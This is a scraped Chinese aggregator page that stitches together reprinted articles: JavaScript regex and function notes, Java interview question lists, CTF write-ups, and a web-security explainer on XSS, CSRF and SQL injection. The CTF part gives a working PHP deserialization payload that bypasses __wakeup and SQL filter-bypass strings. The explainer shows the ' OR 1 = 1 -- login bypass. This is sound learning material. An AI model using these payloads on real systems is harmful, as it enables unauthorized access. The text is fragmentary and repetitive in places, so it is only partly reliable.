'xxx');alert(result);var pattern = /8(.+?)8/g; // 禁止了贪婪,开启的全局var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);var pattern = /8([^8])8/g; // 另一种禁止贪婪var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);// 使用 exec 返回数组var pattern = /^[a-z]+\s[0-9]{4}$/i;var str = 'google 2012';alert(pattern.exec(str)); // 返回整个字符串var pattern = /^[a-z]+/i; // 只匹配字母var str = 'google 2012';alert(pattern.exec(str)); // 返回 googlevar pattern = /^([a-z]+)\s([0-9]{4})$/i; // 使用分组var str = 'google 2012';alert(pattern.exec(str)[0]); // google 2012alert(pattern.exec(str)[1]); // googlealert(pattern.exec(str)[2]); // 2012// 捕获性分组和非捕获性分组var pattern = /(\d+)([a-z])/; // 捕获性分组var str = '123abc';alert(pattern.exec(str));var pattern = /(\d+)(?:[a-z])/; // 非捕获性分组var str = '123abc';alert(pattern.exec(str));// 使用分组嵌套var pattern = /(A?(B?(C?)))/; // 从外往内获取var str = 'ABC';alert(pattern.exec(str));// 使用前瞻捕获var pattern = /(goo(?=gle))/; // goo 后面必须跟着 gle 才能捕获var str = 'google';alert(pattern.exec(str));// 使用特殊字符匹配var pattern = /\.\[\/b\]/; // 特殊字符,用\符号转义即可var str = '.[/b]';alert(pattern.test(str));// 使用换行模式var pattern = /^\d+/mg; // 启用了换行模式var str = '1.baidu\n2.google\n3.bing';var result = str.replace(pattern, '');alert(result); 常用的正则 检查邮政编码 var pattern = /[1-9][0-9]{5}/; // 共 6 位数字,第一位不能为 0var str = '224000';alert(pattern.test(str)); 检查文件压缩包 var pattern = /[\w]+\.zip|rar|gz/; // \w 表示所有数字和字母加下划线var str = '123.zip'; // \.表示匹配.,后面是一个选择alert(pattern.test(str)); 删除多余空格 var pattern = /\s/g; // g 必须全局,才能全部匹配var str = '111 222 333';var result = str.replace(pattern,''); // 把空格匹配成无空格alert(result); 删除首尾空格 var pattern = /^\s+/; // 强制首var str = ' goo gle ';var result = str.replace(pattern, '');pattern = /\s+$/; // 强制尾result = result.replace(pattern, '');alert('|' + result + '|');var pattern = /^\s(.+?)\s$/; // 使用了非贪婪捕获var str = ' google ';alert('|' + pattern.exec(str)[1] + '|');var pattern = /^\s(.+?)\s$/;var str = ' google ';alert('|' + str.replace(pattern, '$1') + '|'); // 使用了分组获取 简单的电子邮件验证 var pattern = /^([a-zA-Z0-9_\.\-]+)@([a-zA-Z0-9_\.\-]+)\.([a-zA-Z]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str));var pattern = /^([\w\.\-]+)@([\w\.\-]+)\.([\w]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str)); 3、Function类型 在 ECMAScript 中,Function(函数)类型实际上是对象。每个函数都是 Function 类型的实例,而且都与其他引用类型一样具有属性和方法。由于函数是对象,因此函数名实际上也是一个指向函数对象的指针。 函数的声明方式 普通的函数声明 function box(num1, num2) {return num1+ num2;} 使用变量初始化函数 var box= function(num1, num2) {return num1 + num2;}; 使用 Function 构造函数 var box= new Function('num1', 'num2' ,'return num1 + num2'); 第三种方式我们不推荐,因为这种语法会导致解析两次代码(第一次解析常规 ECMAScript 代码,第二次是解析传入构造函数中的字符串),从而影响性能。但我们可以通过这种语法来理解"函数是对象,函数名是指针"的概念。 作为值的函数 ECMAScript 中的函数名本身就是变量,所以函数也可以作为值来使用。也就是说,不仅可以像传递参数一样把一个函数传递给另一个函数,而且可以将一个函数作为另一个函数的结果返回。 function box(sumFunction, num) {return sumFunction(num); // someFunction}function sum(num) {return num + 10;}var result = box(sum, 10); // 传递函数到另一个函数里 函数内部属性 在函数内部,有两个特殊的对象:arguments 和 this。arguments 是一个类数组对象,包含着传入函数中的所有参数,主要用途是保存函数参数。但这个对象还有一个名叫 callee 的属性,该属性是一个指针,指向拥有这个 arguments 对象的函数。 function box(num) {if (num <= 1) {return 1;} else {return num box(num-1); // 一个简单的的递归} } 对于阶乘函数一般要用到递归算法,所以函数内部一定会调用自身;如果函数名不改变是没有问题的,但一旦改变函数名,内部的自身调用需要逐一修改。为了解决这个问题,我们可以使用 arguments.callee 来代替。 function box(num) {if (num <= 1) {return 1;} else {return num arguments.callee(num-1); // 使用 callee 来执行自身} } 函数内部另一个特殊对象是 this,其行为与 Java 和 C中的 this 大致相似。换句话说 ,this 引用的是函数据以执行操作的对象,或者说函数调用语句所处的那个作用域。当在全局作用域中调用函数时,this 对象引用的就是 window。 // 便于理解的改写例子window.color = '红色的'; // 全局的,或者 var color = '红色的';也行alert(this.color); // 打印全局的 colorvar box = {color : '蓝色的', // 局部的 colorsayColor : function () {alert(this.color); // 此时的 this 只能 box 里的 color} };box.sayColor(); // 打印局部的 coloralert(this.color); // 还是全局的// 引用教材的原版例子window.color = '红色的'; // 或者 var color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color); // 这里第一次在外面,第二次在 box 里面}getColor();box.sayColor = sayColor; // 把函数复制到 box 对象里,成为了方法box.sayColor(); 函数属性和方法 ECMAScript 中的函数是对象,因此函数也有属性和方法。每个函数都包含两个属性 :length 和 prototype。其中,length 属性表示函数希望接收的命名参数的个数。 function box(name, age) {alert(name + age);}alert(box.length); // 2 对于 prototype 属性,它是保存所有实例方法的真正所在,也就是原型。这个属性 ,我们将在面向对象一章详细介绍。而 prototype 下有两个方法:apply()和 call(),每个函数都包含这两个非继承而来的方法。这两个方法的用途都在特定的作用域中调用函数,实际上等于设置函数体内 this 对象的值。 function box(num1, num2) {return num1 + num2; // 原函数}function sayBox(num1, num2) {return box.apply(this, [num1, num2]); // this 表示作用域,这里是 window} // []表示 box 所需要的参数function sayBox2(num1, num2) {return box.apply(this, arguments); // arguments 对象表示 box 所需要的参数}alert(sayBox(10,10)); // 20alert(sayBox2(10,10)); // 20 call()方法于 apply()方法相同,他们的区别仅仅在于接收参数的方式不同。对于 call()方法而言,第一个参数是作用域,没有变化,变化只是其余的参数都是直接传递给函数的。 function box(num1, num2) {return num1 + num2;}function callBox(num1, num2) {return box.call(this, num1, num2); // 和 apply 区别在于后面的传参}alert(callBox(10,10)); 事实上,传递参数并不是 apply()和 call()方法真正的用武之地;它们经常使用的地方是能够扩展函数赖以运行的作用域。 var color = '红色的'; // 或者 window.color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color);}sayColor(); // 作用域在 windowsayColor.call(this); // 作用域在 windowsayColor.call(window); // 作用域在 windowsayColor.call(box); // 作用域在 box,对象冒充 这个例子是之前作用域理解的例子修改而成,我们可以发现当我们使用 call(box)方法的时候,sayColor()方法的运行环境已经变成了 box 对象里了。 使用 call()或者 apply()来扩充作用域的最大好处,就是对象不需要与方法发生任何耦合关系(耦合,就是互相关联的意思,扩展和维护会发生连锁反应)。也就是说,box 对象和 sayColor()方法之间不会有多余的关联操作,比如 box.sayColor = sayColor;。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gongxifacai_believe/article/details/108286196。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-24 13:01:25
529
转载
转载文章
...ql到缓存到cpu到操作系统,知道多少说多少 什么情景下做分表,什么情景下做分库 linkedList与arrayList区别 适用场景 array list是如何扩容的 volatile 关键字的作用?Java 内存模型? java lock的实现,公平锁、非公平锁 悲观锁和乐观锁,应用中的案例,mysql当中怎么实现,java中的实现 2.2 头条二面 Java 内存分配策略? 多个线程同时请求内存,如何分配? Redis 底层用到了哪些数据结构? 使用 Redis 的 set 来做过什么? Redis 使用过程中遇到什么问题? 搭建过 Redis 集群吗? 如何分析“慢查询”日志进行 SQL/索引 优化? MySQL 索引结构解释一下?(B+ 树) MySQL Hash 索引适用情况?举下例子? 2.3 头条三面 如何保证数据库与redis缓存一致的Redis 的并发竞争问题是什么? 如何解决这个问题? 了解 Redis 事务的 CAS 方案吗? 如何保证 Redis 高并发、高可用? Redis 的主从复制原理,以及Redis 的哨兵原理? 如果让你写一个消息队列,该如何进行架构设计啊?说一下你的思路。 MySQL数据库主从同步怎么实现? 秒杀模块怎么设计的,如何压测,抗压手段 03 今日头条Java后台研发三面 3.1 一面 concurrent包下面用过哪些? countdownlatch功能实现 synchronized和lock区别,重入锁thread和runnable的区别 AtomicInteger实现原理(CAS自旋) java并发sleep与wait、notify与notifyAll的区别 如何实现高效的同步链表 java都有哪些加锁方式(synchronized、ReentrantLock、共享锁、读写锁等) 设计模式(工厂模式、单例模式(几种情况)、适配器模式、装饰者模式) maven依赖树,maven的依赖传递,循环依赖 3.2 二面 synchronized和reentrantLock的区别,synchronized用在代码快、方法、静态方法时锁的都是什么? 介绍spring的IOC和AOP,分别如何实现(classloader、动态代理)JVM的内存布局以及垃圾回收原理及过程 讲一下,讲一下CMS垃圾收集器垃圾回收的流程,以及CMS的缺点 redis如何处理分布式服务器并发造成的不一致OSGi的机制spring中bean加载机制,bean生成的具体步骤,ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件? 介绍ConcurrentHashMap原理,用的是哪种锁,segment有没可能增大? 解释mysql索引、b树,为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数,基本参数,使用场景 MySQL的ACID讲一下,延伸到隔离级别 dubbo的实现原理,说说RPC的要点 GC停顿原因,如何降低停顿? JVM如何调优、参数怎么调? 如何用工具分析jvm状态(visualVM看堆中对象的分配,对象间的引用、是否有内存泄漏,jstack看线程状态、是否死锁等等) 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面: hashmap,怎么扩容,怎么处理数据冲突? 怎么高效率的实现数据迁移? Linux的共享内存如何实现,大概说了一下。 socket网络编程,说一下TCP的三次握手和四次挥手同步IO和异步IO的区别? Java GC机制?GC Roots有哪些? 红黑树讲一下,五个特性,插入删除操作,时间复杂度? 快排的时间复杂度,最坏情况呢,最好情况呢,堆排序的时间复杂度呢,建堆的复杂度是多少 4.2 二面: 自我介绍,主要讲讲做了什么和擅长什么 设计模式了解哪些? AtomicInteger怎么实现原子修改的? ConcurrentHashMap 在Java7和Java8中的区别? 为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? redis数据结构? redis数据淘汰机制? 4.3 三面(约五十分钟): mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的? MySQL索引的实现,innodb的索引,b+树索引是怎么实现的,为什么用b+树做索引节点,一个节点存了多少数据,怎么规定大小,与磁盘页对应。 如果Redis有1亿个key,使用keys命令是否会影响线上服务? Redis的持久化方式,aod和rdb,具体怎么实现,追加日志和备份文件,底层实现原理的话知道么? 遇到最大困难是什么?怎么克服? 未来的规划是什么? 你想问我什么? 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全,每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法:反转单链表 手撕算法:实现类似微博子结构的数据结构,输入一系列父子关系,输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程,服务端和客户端 手撕算法: 爬楼梯,写出状态转移方程 智力题:时针分针什么时候重合 5.2 百度二面(现场) 自我介绍 项目介绍 服务器如何负载均衡,有哪些算法,哪个比较好,一致性哈希原理,怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手,四次挥手的最后一个ack的作用是什么,为什么要time wait,为什么是2msl。 数据库的备份和恢复怎么实现的,主从复制怎么做的,什么时候会出现数据不一致,如何解决。 Linux查看cpu占用率高的进程 手撕算法:给定一个数字三角形,找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折,怎么应对和处理 5.3 百度三面(现场) 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做,aof和rdb,有什么区别,有什么优缺点。 Redis使用哨兵部署会有什么问题,我说需要扩容的话还是得集群部署。 说一下JVM内存模型把,有哪些区,分别干什么的 说一下gc算法,分代回收说下 MySQL的引擎讲一下,有什么区别,使用场景呢 分布式事务了解么 反爬虫的机制,有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面: 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些,最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别,ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程,以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop,Springmvc的基本架构,请求流程。 HTTP协议与Tcp有什么区别,http1.0和2.0的区别。 Java的网络编程,讲讲NIO的实现方式,与BIO的区别,以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景,谈谈Kafka。 你说了解分布式服务,那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别,以及使用场景。 讲一下docker的实现原理,以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景,各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高,相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图,从负载均衡到后端数据库集群。 分布式锁的方案,Redis和Zookeeper哪个好,如果是集群部署,高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级,你如何来解决。 常见的服务器雪崩是由什么引起的,如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些,以及对应的解决步骤。 07 京东4面(Java研发) 7.1 一面(基础面:约1小时) 自我介绍,主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么?其他的作用范围? 索引是什么概念有什么作用?MySQL里主要有哪些索引结构?哈希索引和B+树索引比较? Java线程池的原理?线程池有哪些?线程池工厂有哪些线程池类型,及其线程池参数是什么? hashmap原理,处理哈希冲突用的哪种方法? 还知道什么处理哈希冲突的方法? Java GC机制?GC Roots有哪些? Java怎么进行垃圾回收的?什么对象会进老年代?垃圾回收算法有哪些?为什么新生代使用复制算法? HashMap的时间复杂度?HashMap中Hash冲突是怎么解决的?链表的上一级结构是什么?Java8中的HashMap有什么变化?红黑树需要比较大小才能进行插入,是依据什么进行比较的?其他Hash冲突解决方式? hash和B+树的区别?分别应用于什么场景?哪个比较好? 项目里有个数据安全的,aes和md5的区别?详细点 7.2 二面(问数据库较多) 自我介绍 为什么MyISAM查询性能好? 事务特性(acid) 隔离级别 SQL慢查询的常见优化步骤? 说下乐观锁,悲观锁(select for update),并写出sql实现 TCP协议的三次握手和四次挥手过程? 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面(综合面;约一个小时) 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别?为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? 加锁有什么机制? ThreadLocal?应用场景? 数据库水平切分,垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别? 单机系统演变为分布式系统,会涉及到哪些技术的调整?请从前面负载到后端详细描述。 设计一个秒杀系统? 7.4 四面(HR面) 你自己最大优势和劣势是什么 平时遇见过什么样的挑战,怎么去克服的 工作中遇见了技术解决不了的问题,你的应对思路? 你的兴趣爱好? 未来的职业规划是什么? 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理,增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么,要注意什么 假设现在一个学生类,有学号和姓名,我现在hashcode方法重写的时候,只将学号参与计算,会出现什么情况? 往set里面put一个学生对象,然后将这个学生对象的学号改了,再put进去,可以放进set么?并讲出为什么 Redis的持久化?有哪些方式,原理是什么? 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁,语句该怎么写 Java的内存模型,垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数,给了是个线程,让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4,描述一下现在系统处于什么情况 Linux,查找磁盘上最大的文件的命令 Linux,如何查看系统日志文件 手撕算法:leeetcode原题 22,Generate Parentheses,给定 n 对括号,请- 写一个函数以将其生成新的括号组合,并返回所有组合结果。 8.3 美团三面(现场) 三面没怎么问技术,问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时,如何沟通并说服开发成员,并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 23:43:59
85
转载
转载文章
...典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
303
转载
转载文章
...本可以接受用户输入并操作 cookie,攻击者可以配合其他 XSS(持久型或者非持久型)方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互,攻击者会通过恶意的 XSS 注入篡改参数,窃取并操作cookie。 避免方法: 严格管理 cookie 的读写权限 对 Flash 能接受用户输入的参数进行过滤 escape 转义处理 未经验证的跳转 XSS 有一些场景是后端需要对一个传进来的待跳转的 URL 参数进行一个 302 跳转,可能其中会带有一些用户的敏感(cookie)信息。如果服务器端做302 跳转,跳转的地址来自用户的输入,攻击者可以输入一个恶意的跳转地址来执行脚本。 这时候需要通过以下方式来防止这类漏洞: 对待跳转的 URL 参数做白名单或者某种规则过滤 后端注意对敏感信息的保护, 比如 cookie 使用来源验证。 CSRF CSRF(Cross-Site Request Forgery),中文名称:跨站请求伪造攻击 那么 CSRF 到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过 QQ 等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使 Web 应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个 QQ 好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 所以遇到 CSRF 攻击时,将对终端用户的数据和操作指令构成严重的威胁。当受攻击的终端用户具有管理员帐户的时候,CSRF 攻击将危及整个 Web 应用程序。 CSRF 原理 下图大概描述了 CSRF 攻击的原理,可以理解为有一个小偷在你配钥匙的地方得到了你家的钥匙,然后拿着要是去你家想偷什么偷什么。 csrf原理 完成 CSRF 攻击必须要有三个条件: 用户已经登录了站点 A,并在本地记录了 cookie 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。 站点 A 没有做任何 CSRF 防御 你也许会问:「如果我不满足以上三个条件中的任意一个,就不会受到 CSRF 的攻击」。其实可以这么说的,但你不能保证以下情况不会发生: 你不能保证你登录了一个网站后,不再打开一个 tab 页面并访问另外的网站,特别现在浏览器都是支持多 tab 的。 你不能保证你关闭浏览器了后,你本地的 cookie 立刻过期,你上次的会话已经结束。 上图中所谓的攻击网站 B,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 预防 CSRF CSRF 的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的 CSRF 防御也都在服务端进行。服务端的预防 CSRF 攻击的方式方法有多种,但思路上都是差不多的,主要从以下两个方面入手: 正确使用 GET,POST 请求和 cookie 在非 GET 请求中增加 token 一般而言,普通的 Web 应用都是以 GET、POST 请求为主,还有一种请求是 cookie 方式。我们一般都是按照如下规则设计应用的请求: GET 请求常用在查看,列举,展示等不需要改变资源属性的时候(数据库 query 查询的时候) POST 请求常用在 From 表单提交,改变一个资源的属性或者做其他一些事情的时候(数据库有 insert、update、delete 的时候) 当正确的使用了 GET 和 POST 请求之后,剩下的就是在非 GET 方式的请求中增加随机数,这个大概有三种方式来进行: 为每个用户生成一个唯一的 cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的 cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的 cookie 很容易由于网站的 XSS 漏洞而被盗取,所以这个方案必须要在没有 XSS 的情况下才安全。 每个 POST 请求使用验证码,这个方案算是比较完美的,但是需要用户多次输入验证码,用户体验比较差,所以不适合在业务中大量运用。 渲染表单的时候,为每一个表单包含一个 csrfToken,提交表单的时候,带上 csrfToken,然后在后端做 csrfToken 验证。 CSRF 的防御可以根据应用场景的不同自行选择。CSRF 的防御工作确实会在正常业务逻辑的基础上带来很多额外的开发量,但是这种工作量是值得的,毕竟用户隐私以及财产安全是产品最基础的根本。 SQL 注入 SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 很多 Web 开发者没有意识到 SQL 查询是可以被篡改的,从而把 SQL 查询当作可信任的命令。殊不知,SQL 查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过 SQL 查询去运行主机系统级的命令。 SQL 注入原理 下面将通过一些真实的例子来详细讲解 SQL 注入的方式的原理。 考虑以下简单的管理员登录表单: <form action="/login" method="POST"><p>Username: <input type="text" name="username" /></p><p>Password: <input type="password" name="password" /></p><p><input type="submit" value="登陆" /></p></form> 后端的 SQL 语句可能是如下这样的: let querySQL = SELECT FROM userWHERE username='${username}'AND psw='${password}'; // 接下来就是执行 sql 语句… 目的就是来验证用户名和密码是不是正确,按理说乍一看上面的 SQL 语句也没什么毛病,确实是能够达到我们的目的,可是你只是站在用户会老老实实按照你的设计来输入的角度来看问题,如果有一个恶意攻击者输入的用户名是 zoumiaojiang’ OR 1 = 1 --,密码随意输入,就可以直接登入系统了。WFT! 冷静下来思考一下,我们之前预想的真实 SQL 语句是: SELECT FROM user WHERE username='zoumiaojiang' AND psw='mypassword' 可以恶意攻击者的奇怪用户名将你的 SQL 语句变成了如下形式: SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 --' AND psw='xxxx' 在 SQL 中,-- 是注释后面的内容的意思,所以查询语句就变成了: SELECT FROM user WHERE username='zoumiaojiang' OR 1 = 1 这条 SQL 语句的查询条件永远为真,所以意思就是恶意攻击者不用我的密码,就可以登录进我的账号,然后可以在里面为所欲为,然而这还只是最简单的注入,牛逼的 SQL 注入高手甚至可以通过 SQL 查询去运行主机系统级的命令,将你主机里的内容一览无余,这里我也没有这个能力讲解的太深入,毕竟不是专业研究这类攻击的,但是通过以上的例子,已经了解了 SQL 注入的原理,我们基本已经能找到防御 SQL 注入的方案了。 如何预防 SQL 注入 防止 SQL 注入主要是不能允许用户输入的内容影响正常的 SQL 语句的逻辑,当用户的输入的信息将要用来拼接 SQL 语句的话,我们应该永远选择不相信,任何内容都必须进行转义过滤,当然做到这个还是不够的,下面列出防御 SQL 注入的几点注意事项: 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害 后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。 对进入数据库的特殊字符(’,",\,<,>,&,,; 等)进行转义处理,或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数。 mysql.query(SELECT FROM user WHERE username = ? AND psw = ?, [username, psw]); 在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等。 避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。 不要过于细化返回的错误信息,如果目的是方便调试,就去使用后端日志,不要在接口上过多的暴露出错信息,毕竟真正的用户不关心太多的技术细节,只要话术合理就行。 碰到要操作的数据库的代码,一定要慎重,小心使得万年船,多找几个人多来几次 code 